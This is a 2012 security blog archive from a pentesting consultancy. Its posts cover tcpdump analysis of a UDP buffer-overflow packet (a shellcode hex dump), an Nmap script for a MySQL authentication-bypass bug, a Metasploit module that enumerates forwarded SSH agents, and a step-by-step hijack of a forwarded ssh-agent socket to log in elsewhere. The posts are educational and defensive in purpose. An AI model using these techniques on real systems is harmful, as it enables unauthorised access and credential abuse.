Tuesday, 28 August 2012

7 Elements to run 44Con Burp Suite Workshop

Our Principal Security Consultant Marc Wickenden will be hosting a workshop at the "UK's permier information security conference and training event" - 44Con - next week in London. The two hour practical workshop "Burp Plugin Development for Java n00bs" will be run on either Thursday or Friday in the Technical Workshop Track.

Highlevel Outline
Burp Suite stands out as the de-facto attack proxy for web application assessments. Part of its power lies in the Burp Extender interface which allows "developers" to extend Burp's functionality, including reading and modifying runtime data and configuration, trigger key actions such as Burp Scanner or extend the Burp user interface itself with custom menus and windows.

"That's great, but I'm not a developer, I'm a webapp tester and I want the goodness too"

This practical workshop will take you from zero to hero even if you've never coded a line of Java in your life. Through some basic hands-on examples I will guide you through the process of getting your machine ready for coding, the key features of Burp Extender and how to use it to solve some real world web application testing scenarios.

Details
A rough agenda for the workshop is as follows:
  • The problem Burp Extender solves
  • Getting ready
  • Introduction to the Eclipse IDE
  • Burp Extender Hello World!
  • Manipulating runtime data
  • Decoding a custom encoding scheme
  • "Shelling out" to other scripts
  • Limitations of Burp Extender
  • Examples of really cool Burp plugins to fire your imagination
Requirements
Those looking to attend will require:
  • Laptop running Windows 7 (or OSX/Linux but I won't be demonstrating with/troubleshooting these) with WiFi capability. VM is fine, if not preferred)
  • Java Runtime Environment 6 or above
  • Burp Suite 1.4 and above (Professional preferred but Free will be ok)
  • Administrator rights to the machine as they will need to install software (supplied on USB stick)
  • Some programming experience with other languages is assumed. My background is in Bash, Perl, PHP, Python and Ruby if that helps to guage your own capabilities.
Any questions relating to the workshop, requirements and topics can be sent via Twitter (@7Elements) or by email to our usual address contact-us@7elements.co.uk.




Monday, 6 August 2012

Using tcpdump for network analysis

For this post, we are going to look at using tcpdump to investigate potentially malicious traffic and the steps required to complete an investigation. 


This blog post is based on an answer that I provided on the IT Security Stack Exchange site about analysing network traffic for malicious content. If you don't follow stack exchange, then you should. It's a fantastic resource.


So back to the blog. For me, there are three key stages required when investigating potentially malicious or rogue traffic:


Stage 1 - Traffic Capture
Stage 2 - Analysis
Stage 3 - Identification


Each can be delivered either through a very formal process or on an ad hoc basis. The end goal of the investigation would drive this requirement. For this scenario we are taking an ad hoc approach that uses tcpdump to investigate udp traffic.


The section of traffic that we are interested in comprises:

09:06:16.982995 IP 192.168.188.128.63793 > 192.168.188.1.42313: UDP, length 0
09:06:16.986062 IP 192.168.188.128.63793 > 192.168.188.1.623: UDP, length 0  09:06:16.986274 IP 192.168.188.128.63793 > 192.168.188.1.30303: UDP, length 0

10:30:36.313999 IP 192.168.188.128.50056 > 192.168.188.1.26000: UDP, length 2201

So using our three stage approach we will now investigate this further.

Stage 1 - Traffic Capture.
This stage is about using the right tools to capture the traffic.


Tool Choice: 


To do anything sensible is going to require raw packet output, so use your tool of choice (wireshark / tcpdump are two examples). Personally I would use tcpdump, and if needed, load the traffic capture into wireshark for a nice graphical view of the world.

Config: 


You will need to configure the tool to capture the entire packet - by default tcpdump only captures 68 bytes of data. 

I would also capture the hexadecimal output by using the -x flag. Doing so will allow me to examine the individual bits (very important when doing a deep dive on evil packets).

For this post we are interested in UDP traffic, so you can limit the packet capture to UDP only traffic. 

This is done by matching the value of 17 (which is for UDP) in the 9th offset of the IP header. For ease, tcpdump has an inbuilt macro that does this for you by calling the udp flag option.


Execute: 

An example command line for tcpdump would be:
tcpdump udp -s 0 -x -w /udp_traffic


This would capture the entire IP frame with hexadecimal output for UDP traffic only and write this to a file called udp_traffic.

Confirm: 

To confirm that this works you can then run:
tcpdump -r /udp_traffic 

This would give you something like:
09:06:16.982995 IP 192.168.188.128.63793 > 192.168.188.1.42313: UDP, length 0
09:06:16.986062 IP 192.168.188.128.63793 > 192.168.188.1.623: UDP, length 0  09:06:16.986274 IP 192.168.188.128.63793 > 192.168.188.1.30303: UDP, length 0
10:30:36.313999 IP 192.168.188.128.50056 > 192.168.188.1.26000: UDP, length 2201

Stage 2 - Analysis.
Two real options here, use an IDS/IPS solution and replay your traffic to see what alerts this raises and then chase down each alert to understand if it is a false-positive or not. This approach is more scientific and is based on known bad traffic. This would be quicker if the IDS/IPS has already been tuned for the network and the traffic matches known rules.

Or you can use a more gut-feel approach using your knowledge of the network and services that are running to review the traffic. This is more of an art than a science, but has advantages.

People's gut feel is something you can't programme a piece of code to replicate and, if you know your network, things will stick out.

Both approaches will result in the breakdown of traffic into the following groups.


Type of traffic:
  • Breakdown by port
  • Breakdown by source
  • Breakdown by destination
  • Breakdown by port
This will enable you to deal with large amounts of traffic in more manageable chunks and look for patterns.

In our example from earlier, we can see that the packets are all from the 192.168.188.128 network and from port 63793 and heading to 192.168.188.1 on various ports. The first three packets show classic scanning traffic, in this case an nmap scan for udp ports:
09:06:16.982995 IP 192.168.188.128.63793 > 192.168.188.1.42313: UDP, length 0
09:06:16.986062 IP 192.168.188.128.63793 > 192.168.188.1.623: UDP, length 0  09:06:16.986274 IP 192.168.188.128.63793 > 192.168.188.1.30303: UDP, length 0


Traffic content:

If we do find traffic that we don't like the look of, then we can take a look at the hexadecimal output to dissect the packet at a much deeper level. If we take
 09:42:15.206332 IP 192.168.188.128.63793 > 192.168.188.1.52503: UDP, length 0




and look at the hex output we see:
0x0000:  4500 001c 43d7 0000 2a11 5327 c0a8 bc80
0x0010:  c0a8 bc01 f931 cd17 0008 3fc1          



Points of interest would be the first offset (counting from zero), which shows 4 for IPv4. Offset nine shows 11 (remember to convert from hex to decimal) so that is protocol 17, or UDP. 

Then we have source address at offset 12 - c0a8 bc80 (192.168.188.128) and destination address at offset 16 - c0a8 bc01 (192.168.188.1). This is just a simple example, building on this we can then look deeper in to the packet.

Stage 3 - Identify and review rogue traffic.
When you have identified any specific traffic that is of interest then it is a combination of research (Google (Other search engines are available)) and deep packet analysis.

To give a feel, this type of UDP packet would give me concern and warrant further investigation:
10:30:36.313999 IP 192.168.188.128.50056 > 192.168.188.1.26000: UDP, length 2201

This is the last line in our scenario. Why does this jump out? Well, firstly the length of the packet is very large for a UDP packet. So lets take a closer look.

In hex the packet looks like this:
        0x0000:  4500 05dc 7d9c 2000 4011 dda1 c0a8 bc80
        0x0010:  c0a8 bc01 c388 6590 08a1 0c07 425a 7454
        0x0020:  3349 3665 5747 6742 4642 4177 7071 4156
        0x0030:  6c5a 7271 7975 5579 5546 6375 4b76 6c4f
        0x0040:  5762 3853 4578 6757 3766 5837 744f 7572
        0x0050:  766e 746b 4339 6c74 6f6c 6156 4264 3072
        0x0060:  566c 6739 7355 4a37 3550 3848 7a70 4d6f
        0x0070:  6f4b 6e77 7762 4b47 6c6c 4f63 3846 7372
        0x0080:  7a7a 4879 7763 6330 4c77 3172 7048 5941
        0x0090:  4177 5676 727a 6f52 4b32 566c 5a6b 5242
        0x00a0:  696b 4976 3470 547a 3467 6f74 644b 376c
        0x00b0:  3468 3443 5676 4758 4535 6857 6b41 657a
        0x00c0:  4779 7731 654d 314a 5976 7265 3974 6e41
        0x00d0:  305a 4358 6f5a 517a 4344 6378 5634 476d
        0x00e0:  7147 6979 3653 6a69 4331 486b 734f 7844
        0x00f0:  4175 6467 7858 636f 5550 386c 6332 5a6c
        0x0100:  3237 3067 5552 514b 6345 4836 7073 516f
        0x0110:  7a52 6631 315a 6365 3563 4f76 4275 4c4a
        0x0120:  6f74 5032 5057 704f 6f5a 4d58 4369 7666
        0x0130:  3847 6733 5555 5036 6e7a 4c6b 3856 4573
        0x0140:  6b59 646b 6b62 6733 5036 6c4c 534c 3248
        0x0150:  4156 3037 656b 7433 3148 6578 6968 547a
        0x0160:  436f 5635 5957 7165 6d66 4565 3563 494d
        0x0170:  6570 7947 4174 5559 4c57 5a59 6d63 3671
        0x0180:  4333 4a4e 7269 4778 5968 6b6b 4155 7a39
        0x0190:  6c53 5772 5573 5644 684f 3456 3237 5267
        0x01a0:  634a 326c 4558 6e5a 6b5a 5255 486f 6436
        0x01b0:  6878 4770 5053 4178 426a 6651 6c53 4e70
        0x01c0:  5970 646b 5539 735a 3254 737a 6964 4a46
        0x01d0:  4b4c 504e 7244 7451 7a41 4945 3233 5951
        0x01e0:  586d 4866 7a54 334c 7947 4145 5041 6a65
        0x01f0:  4850 4665 3168 7446 4639 4172 4731 526e
        0x0200:  324d 5151 4641 737a 4f53 4556 7332 5a38
        0x0210:  614d 735a 3978 444b 4565 5054 7459 5663
        0x0220:  7837 3059 3666 3871 754e 3377 7252 3659
        0x0230:  344c 586c 5232 7265 5a6f 416b 785a 6961
        0x0240:  5156 3973 3267 6279 5738 6272 7663 5463
        0x0250:  6b62 4e70 5a64 4763 4772 4262 4551 5254
        0x0260:  4757 4d76 4e51 414a 3868 5063 7267 304c
        0x0270:  4b78 784c 6b49 5563 7443 5a36 526b 745a
        0x0280:  4c4e 4c68 7175 4a54 3064 626e 4562 5157
        0x0290:  3068 4730 6e47 3650 5468 3467 4e72 4a6b
        0x02a0:  5a51 5771 4a38 5747 4453 6e64 3971 4650
        0x02b0:  4263 7358 6e46 5173 3057 5a57 6f65 7168
        0x02c0:  7a67 5859 6e74 4138 7457 3672 646b 344a
        0x02d0:  5958 5363 7231 6c6c 696e 6a38 704b 6146
        0x02e0:  786d 4f5a 6c57 4d50 4232 3459 7130 6a4d
        0x02f0:  5278 7330 3352 336f 6742 5661 3245 7879
        0x0300:  4e43 444b 4d4b 424f 7441 6a37 6e51 6238
        0x0310:  4e78 5053 6f39 5a64 3632 3879 6e54 5042
        0x0320:  7736 5258 4e42 3557 704d 6b48 7974 5050
        0x0330:  4777 4e63 3269 7672 7672 4266 697a 4c67
        0x0340:  4568 554a 4636 614b 6a56 7068 4e33 4a4c
        0x0350:  5067 7254 6a67 674c 3337 6574 5934 6836
        0x0360:  394c 354e 3261 7456 7270 4f69 6531 3452
        0x0370:  7568 6835 5374 756e 5676 6f4f 767a 6d6b
        0x0380:  6679 6846 4743 3861 3543 6538 454e 4c4c
        0x0390:  4745 7630 5247 6675 5333 3070 3576 4b62
        0x03a0:  5932 3562 6a38 4752 337a 4973 5068 3867
        0x03b0:  364a 6159 3444 7149 5372 4b63 5547 6f6e
        0x03c0:  4e36 4845 6e43 6534 4b48 5568 5639 4b47
        0x03d0:  3835 5862 5a32 6962 3157 7431 4344 3442
        0x03e0:  496e 644e 445a 6851 6870 4373 6951 5776
        0x03f0:  4438 5874 6578 4c38 4d4a 694c 3368 536c
        0x0400:  664e 3369 75b7 3f07 102d 47b3 10f8 7b04
        0x0410:  a81c 4873 7672 46b0 b823 f58d 4b13 d477
        0x0420:  6692 2ae2 2c1a d598 7c22 d624 ba3f 40b2
        0x0430:  0537 08e0 0c35 900d b7bf 4f43 85e3 3afc
        0x0440:  9671 28e1 7527 a91d 4e99 9f4a 12d1 f97e
        0x0450:  18fd b13c 3d42 9b79 7e77 7b4f 89e1 7970
        0x0460:  730b f8b5 bab8 1d3f 2584 e340 bea8 03d0
        0x0470:  c0d6 9614 b067 98b7 9942 bb97 4bb4 9bbf
        0x0480:  3bd4 88f5 4e0c 7546 3d7d 7c09 e07a 69f9
        0x0490:  2c90 7149 a92f 0415 911c 7224 9f74 7827
        0x04a0:  38d5 7637 b1b2 8ceb 6693 432d 7f02 e234
        0x04b0:  b68d 48b3 791b fc7f 3c75 35b9 7141 7447
        0x04c0:  7805 7d20 eb0d 9272 4a83 e001 e10a d2fd
        0x04d0:  734f 700d 9b7c 14b5 4390 bad3 c1f9 7630
        0x04e0:  f5be bf2d 31e3 351d 81fd 7b39 fc27 7e37
        0x04f0:  80e2 2c34 b0b1 1567 7a0c 4b98 3da8 4940
        0x0500:  bb92 b33f 0425 b71c 8d97 4741 b4f8 b8b9
        0x0510:  7705 86d6 4eb6 9193 46d4 422f a93c 6696
        0x0520:  d5b2 2499 484a 9f56 5458 3633 3057 5458
        0x0530:  3633 3856 5848 3439 4848 4850 5658 3541
        0x0540:  4151 5150 5658 3559 5959 5950 3559 5959
        0x0550:  4435 4b4b 5941 5054 5458 3633 3854 4444
        0x0560:  4e56 4444 5834 5a34 4136 3338 3631 3831
        0x0570:  3649 4949 4949 4949 4949 4949 515a 5654
        0x0580:  5833 3056 5834 4150 3041 3348 4830 4130
        0x0590:  3041 4241 4142 5441 4151 3241 4232 4242
        0x05a0:  3042 4258 5038 4143 4a4a 494b 4c4a 484c
        0x05b0:  4945 5045 5045 5045 304d 594b 5546 514e
        0x05c0:  3245 344c 4b46 3250 304c 4b46 3244 4c4c
        0x05d0:  4b51 4242 344c 4b43 4251 3844          


If we spend time de constructing the packet we will see that there is a lot of data being sent in this single UDP packet, to a high port and from a high source port. In fact, this is an example of a buffer overflow being completed over UDP. 

So as we have seen, just using a simple three stage approach we were able to understand what was going on with the scenario. There was an initial port scan for UDP services at 9am. This was then followed by a UDP based buffer overflow attack against 192.168.188 at 10:30am.





Tuesday, 12 June 2012

Nmap NSE Howto: MySQL Auth Bypass

A recently disclosed critical vulnerability in MySQL authentication on some platforms gave me just the excuse I needed to write my first Nmap NSE script. @jcran produced a metasploit module to find and exploit the MySQL bug so I thought I'd try and fill a gap in the Nmap world.

First thing I needed was a vulnerable host to scan. I didn't have anything in my VM collection already so I took advantage of some Free Tier Amazon EC2 time and fired up a 64-bit Ubuntu 12.04 AMI. Specifically I fired up a micro instance of ami-e1e8d395 which is the suggested Ubuntu image on the wizard screen. I left everything as default and once it was running ssh'ed in.

MySQL isn't installed by default on this image so I had to install it. Installing it is as simple as:
sudo apt-get install myql-server

I specifically didn't run an apt-get update on this server before I installed MySQL just in case I ended up with a patched version. The version I've got is 5.5.22-0ubuntu, anything later and it's probably fixed. I quickly verified it was vulnerable before proceeding:



The first time you see this work you realise just how scary this bug is. I also can't help but wonder how long bad people have known about it.

With a confirmed vulnerable installation I set about configuring it for remote access.

Edit /etc/mysql/my.cnf, find the line which says:
bind-address            = 127.0.0.1

and change it to:
bind-address            = 0.0.0.0

and restart MySQL:
sudo /etc/init.d/mysql restart

Ignore all the Ubuntu rubbish about using Upstart, yada-yada, whatever, init wasn't broke but thanks for fixing it.

The next hurdle is that, by default, the root account is the only one and it is not authorised to connect from any host other than localhost. I don't want to develop on the EC2 instance and I also want to verify it'll work for hosts across a "proper network". To solve this I created an empty database and a user with access to it from any IP address.
mysql> create database nsetest;

mysql> grant all on nsetest.* to nse@'%' identitifed by 'dodgypass';

The % in the above is the wildcard character meaning any host. Running our bash for loop from above against the remote database this time and using the nse user verified the vulnerability existed remotely.


With the testing lab ready I turned my attention to writing the NSE script. As ever, the best place to start is with something you know works. On my BT5 VM I had a look in /usr/local/share/nmap/scripts to see what there was already for MySQL.


I decided mysql-empty-password.nse was the closest to what I was trying to do so I made a copy in my ~/Development directory and started hacking away at it. The actual process of writing a LUA script is pretty hard to describe but what I'll do now is break the script down into different sections and try and explain what is happening. As with all these sorts of things, there are standards involved (anyone who's ever coded for Metasploit will know exactly what I'm talking about).

If you want to follow along at home, the entire script is in our Github repo at https://github.com/7Elements/nmap-nse-scripts/blob/master/mysql-auth-bypass.nse. The file starts with information about the script, its capabilities, author, output example and license:


Of the above probably the most important thing to get right is the categories. When you are running Nmap NSE scripts you can specify to run all scripts of a certain category. If you write a script like this which exploits a bug but you put it down as 'safe' you're inviting a whole world of trouble. A full list of categories is available at http://nmap.org/nsedoc/categories/.

Next up are library imports. LUA, like most languages, allows the creation of library files in which to group common functions. I used the following:


From what I can tell, you'll pretty much use shortport in every NSE script you'll ever write. It provides common functions for managing network connections.

stdnse provides various handy and common functions including those which handle printing output.

mysql provides simple MySQL functions like login and query execution.

unpwdb is a really interesting library. Nmap NSE comes with a built in 'database' of common usernames and passwords along with this set of functions to interact with it.

We then add version information as a comment. Comments in LUA are preceded with -- (double dash).


Each NSE script must contain one of the following four functions:
prerule()
hostrule(host)
portrule(host, port)
postrule()

I won't rehash the documentation too much here but we are interested in a portrule which will run after the specified nmap scan has completed. A portrule runs when you identify a port which meets a certain criteria. In our case we want an open tcp port 3306 (the MySQL default).


Next we define an action function. This will be triggered by the portrule if our open port condition is met. This is where we get our hands dirty.


First thing to comment on, indentation. LUA does not require indentation but frankly, unless you're playing code golf you'd be crazy not to indent and make the code readable. I use a two space indent because I'm that way out.

So we're defining the action function. It takes two parameters, host and port which are given to it by NSE magic. We don't need to worry too much about that in this exercise.

Next we define four local variables. LUA has global and local variable scope. Anything not defined as local is global.

socket = nmap.new_socket() returns an NSE socket object.

catch is a function we will use if we encounter any exceptions. You can call this what you like. It just closes the socket.

try uses the Nmap new_try API call. new_try sets up an exception handler and, if passed a function as above nmap.new_try(catch) it will execute that function if an exception occurs.

Lastly we define an empty LUA table called results in which to store our results later.

The next few lines are pretty self-explanatory.


We set a socket timeout of 5000 milliseconds (that's 5 seconds y'all) in case something goes wrong with the connection.

The usernames line is important. This builds a table of usernames by calling the unpwdb.usernames() function. The unpwdb.usernames function keeps returning usernames from the in-built list (or your list if specified) until they are exhausted or timeout settings are reached.

Finally we set a password to use for all the login attempts. We set this to something we don't expect to work.

Now we enter a loop through the usernames table, for each username we try up to 300 login attempts with the same password.


for loops in LUA are easy: for condition do --something end. We have two above. The outer loop is iterating through the usernames table we built earlier, storing the returned value in username and then entering the loop.

stdnse.print_debug will print out the text Trying username if nmap debugging is set to 1 or more (nmap -d).

The inner for loop sets a variable i to 0, the maximum count to 300 and the step to increment as 1. Basically, it'll perform 300 (well 301 to be specific as I started at 0 - oops, off by one error) iterations of the upcoming code. As the MySQL bug is triggered on a 1 in 255 chance I figured this should be enough though I've seen elsewhere people having problems with this and ending up with numbers like 10,000 attempts.

If nmap debugging is set to 2 (nmap -d -d) then the attempt number will be printed.

local status, response = socket:connect(host, port) attempts a connection to host, port returning an error on the next line if status is not defined.


This part of the code uses the receiveGreeting function from the NSE MySQL library in order to handle the data sent back by the MySQL server. The following screenshot from Wireshark (click to enlarge) shows a decoded version of the MySQL greeting.


Pay particular attention to the salt as this is used in the next section of the code. A new salt is generated for every connection request, this is why we perform a new connection on each iteration of this loop rather than firing multiple authentication requests down a single TCP connection (yes, I learned that the hard way).


This is the meat and potatoes now. mysql.loginRequest is a part of the mysql NSE library and sends, as its name suggests, a login request. Note the use of our username and password variables and the salt from the response. This is all put together by the loginRequest function to create a MySQL login hash which is then sent over our socket.

If the errorcode returned in the response to our login request is 0 it means we had a successful login. If that's the case we use the LUA table.insert function to append a string containing details of the successful to the result table we created earlier. If we got a successful auth we also issue a break which stops the loop.

Next we close our loops and issue a socket:close() to tidy up our connection.


Finally we output our result table using the stdnse.format_output function which gives that pretty hierarchical view we put in the comments for @output right at the start.


And that's it. The script is done. By default, the nmap username database will not contain the value nse which we set up earlier as our vulnerable user so we will need to specify our own usernames file. To do this we can do the following:
echo nse > usernames.txt

Now we are all ready to run it against our vulnerable MySQL EC2 instance.


Nice. If you want a bit more verbosity then add the -v and -d (or -d -d) flags too.


After all this it turned out that someone on the nmap-dev mailing list had already put together a far more comprehensive solution which ports the automatic hash dumping of @jcran's metasploit module to boot. You can see that here http://seclists.org/nmap-dev/2012/q2/679.

However, for an hour's coding - and that really is all this took - I now know how to code some basic LUA and put together an Nmap script. This has to be a good thing.

Thursday, 17 May 2012

ssh-agent: Abusing the trust - Part 2

In part 1 of this blog post I discussed common issues with using ssh-agent forwarding in an untrusted environment. Despite the risks it remains prevalent and ripe for some exploitation.

There are tools out there to help exploit this scenario, the main one I know about is secret-agent but I've been working on integrating this attack into everyone's favourite framework for rapid exploit development, metasploit (MSF).

Right now, I've completed work on an enumeration post module called enum_ssh_agents. This can be used to identify any potential agents being forwarded through a box you've popped with metasploit. Later in this post I've outlined my roadmap for this tool, there's definitely some opportunities but I need to make some more tweaks to the core MSF to allow it.

Here's how to use the post module.

enum_ssh_agents

I'll assume you have achieved root access to a box in metasploit and have at least one root level session you can run a post module against. If you're following along at home we can quickly achieve that through the ssh_login auxiliary module. In this scenario our root credentials on debian1 are root/toor:
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS debian1
RHOSTS => debian1
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > run

[*] 192.168.1.60:22 SSH - Starting bruteforce
[*] 192.168.1.60:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.60:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.60:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.60:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.60:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 1 opened (192.168.1.250:50870 -> 192.168.1.60:22) at 2012-04-18 13:44:43 +0100
[+] 192.168.1.60:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root) Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Hurrah, session 1 opened. Now we can execute our post module to enumerate any SSH agents which may be available.
msf auxiliary(ssh_login) > use post/linux/gather/enum_ssh_agents
msf post(enum_ssh_agents) > set SESSION 1
SESSION => 1
msf post(enum_ssh_agents) > run

[*] Enumerating as root
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_332108.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_275927.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095037_default_192.168.1.60_linux.enum.ssh_a_589857.txt
[!]
[*] Post module execution completed

Great, we've found some and saved the details to loot.
msf post(enum_ssh_agents) > loot

Loot
====

host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_910544.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095217_post_192.168.1.60_linux.enum.ssh_a_377311.txt

At the moment the module saves details of an agent as a colon delimited entry in a text file:
msf post(enum_ssh_agents) > cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
[*] exec: cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt

pwnme:/tmp/ssh-JeCGlj2407/agent.2407



Roadmap

The roadmap for this module is to develop a way to pivot through the box where we have root and use the ssh-agents to scan/exploit further boxes beyond it. I already have some proof of concept code which can forward the ssh-agent back to our metasploit box for use in the scanning, and using metassh (which rocks btw) I can perform the pivot. The limitation is that the PoC code has to be executed on the root box and it's written in Ruby which isn't always installed.

I'm toying with the idea of rewriting it in Perl as that is nearly always available but that makes me feel a bit wrong. For now, a practical alternative is to upload socat to the root box and forward the agent back that way but the current metasploit ssh modules don't support agent based authentication so I've got that to work on too.

Code

If you want to play around with this yourself you need two things. A version of the metasploit framework which includes my patch to lib/msf/core/post/file.rb and the post module itself. You can get both of these from our Github page at https://github.com/7Elements/metasploit-framework. I've got some polish to add to this before the MSF guys will accept a pull request to the framework but that will be done soon.

Tuesday, 1 May 2012

Solving the Security B-Sides London 2012 Web Hacking Challenge



This year (2012) I wrote a web hacking challenge for BSides London. Rather than write a lengthy blog post about how to solve it (when others have already covered it), I thought I'd do some vidz. They're all up on my (new) YouTube account and embedded below for your viewing enjoyment.

I had a ton of fun writing and supporting this challenge and I'm especially grateful to Tomasz Miklas for hosting and monitoring it throughout. Congratulations to Tom Mackenzie who won it and I'll see him at 44Con in September.

The challenge is back online again now for people who want to play for fun at a new URL http://hive.0x41.cc/. It's on Bytemark's BigV beta so it may be up and down/subject to outages, etc but for the most part it'll be there. Until they start charging at least!

The code has been open-sourced for any one who is interested in both finding out how it worked or using it for education. You can fork it on Github at https://github.com/7Elements.

The questions were:

  1. What is Matt’s password for the Intranet?

  2. Who did Iggy meet on January 20th?

  3. What is Javvad’s password?

  4. What is the kernel version of the underlying server?

  5. What is the SHA1 value in the file /bsides-challenge? (on the host itself, not on the website)


I recommend you crank the quality setting straight up to HD and go full screen on these.



Question 1



Question 2



Question 3



Questions 4 and 5

There were actually loads of ways to do these two questions, but here is one way.


Thursday, 19 April 2012

ssh-agent: Abusing the trust - Part 1

This post is about ssh-agent. For those who don't know, the following best describes it (from the man page):
ssh-agent is a program to hold private keys used for public key authentication
Many Unix/Linux/OSX dudes use it every day without even thinking too much about it. Even Windows dudes get a look in with Pageant.

However, when you use public key authentication to SSH to a server and choose (by default or otherwise) to forward your agent you are in fact opening yourself up to a trivial attack by any user with root privileges on that server.

This is not new news, even the Wikipedia article on ssh-agent lists this as a problem. What I want to do in this post is a quick demonstration of how it can be abused, for the uninitiated and discuss common scenarios I see and why you should be aware of this issue.

Setting up for the demonstration

I'll use three hosts to demonstrate this. The first is a BackTrack 5 box, the second and third are Debian 6 hosts. First I setup a "pwnme" user on all three boxes. On the BT5 box (7E-Marc) I create an SSH key-pair:
pwnme@7E-Marc:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/pwnme/.ssh/id_rsa):
Created directory '/home/pwnme/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/pwnme/.ssh/id_rsa.
Your public key has been saved in /home/pwnme/.ssh/id_rsa.pub.
The key fingerprint is:
7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 pwnme@7E-Marc
The key's randomart image is:
+--[ RSA 2048]----+
| |
| |
| |
| . . |
| S o E |
| . . o + o |
| . o B . = .|
| . * *. +.|
| .o* .o=o.|
+-----------------+
Now we take the public key and add it to the authorized_keys file on debian1:
pwnme@7E-Marc:~$ cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2E<snip>IRnGx8fw8Q== pwnme@7E-Marc

pwnme@debian1:~$ mkdir -m 700 .ssh
pwnme@debian1:~$ cd .ssh/
pwnme@debian1:~/.ssh$ cat > authorized_keys <<EOF
> ssh-rsa AAAAB3NzaC1yc2E<snip>IRnGx8fw8Q== pwnme@7E-Marc
> EOF

pwnme@debian1:~/.ssh$ chmod 600 authorized_keys

Next perform the same step on debian2, so it is also set up for public key authentication with this key.

As I am performing this demo from a terminal I will need to start an ssh-agent manually.  If I were logged in from the GUI most OSes will pop up a window and offer to save your key in an agent for you automatically.

The following shows me starting the ssh-agent, adding my key (which we created above) and then listing out the keys currently in my agent:
pwnme@7E-Marc:~$ eval `ssh-agent`
Agent pid 17956
pwnme@7E-Marc:~$ ssh-add .ssh/id_rsa
Enter passphrase for .ssh/id_rsa:
Identity added: .ssh/id_rsa (.ssh/id_rsa)
pwnme@7E-Marc:~$ ssh-add -l
2048 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 .ssh/id_rsa (RSA)

Now we're all set to SSH to debian1 from 7E-Marc using key-based authentication, we will override the default by specifying -A to forward our agent:
pwnme@7E-Marc:~$ ssh -A debian1
Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Feb 1 11:01:03 2012 from 192.168.1.250
pwnme@debian1:~$
Now we are on the debian1 host with our agent forwarded. We can check this with ssh-add -l again.
pwnme@debian1:~$ ssh-add -l
2048 7a:73:d7:fd:9a:2b:0b:ae:1f:bc:cc:91:95:cf:1b:91 .ssh/id_rsa (RSA)
We should be able to SSH to debian2 which also has our public key in its authorized_keys file.
 pwnme@debian1:~$ ssh debian2
Linux debian2 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Apr 17 18:04:47 2012 from 192.168.1.60
pwnme@debian2:~$
Great, we're all set. Let's pwn this.

Demonstration

Our goal is to abuse our root privilege on debian1 to access the debian2 server, on which we don't have an account, as the pwnme user.

Log on to debian1 and gain root privileges. Our pwnme user is still logged on:
root@debian1:~# who
root pts/0 2012-04-17 16:24 (192.168.1.250)
pwnme pts/1 2012-04-17 16:30 (192.168.1.250)

Let's have a look in /tmp and see what we find. 

ssh-agent creates UNIX socket files in /tmp. It does its best to protect them by creating a directory prefixed with ssh-, chmod'ed to 700 and owned by the user who logged in. The socket file is in this directory.

When the user logs in with agent forwarding the environment variable SSH_AUTH_SOCK is set to the location of this socket file. As we have root privileges we can access this socket file so all we need to do is set our SSH_AUTH_SOCK environment variable to this value and we are able to use the key data to authenticate, providing the user is still logged in with active forwarding.
root@debian1:~# ls -l /tmp/
total 13
drwx------ 2 root root 12288 Nov 9 22:36 lost+found
drwx------ 2 pwnme pwnme 1024 Apr 17 16:30 ssh-MTxBOW1298

root@debian1:~# ls -l /tmp/ssh-MTxBOW1298/
total 0
srwxr-xr-x 1 pwnme pwnme 0 Apr 17 16:30 agent.1298

root@debian1:~# export SSH_AUTH_SOCK=/tmp/ssh-MTxBOW1298/agent.1298
root@debian1:~# ssh pwnme@debian2
Linux debian2 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;
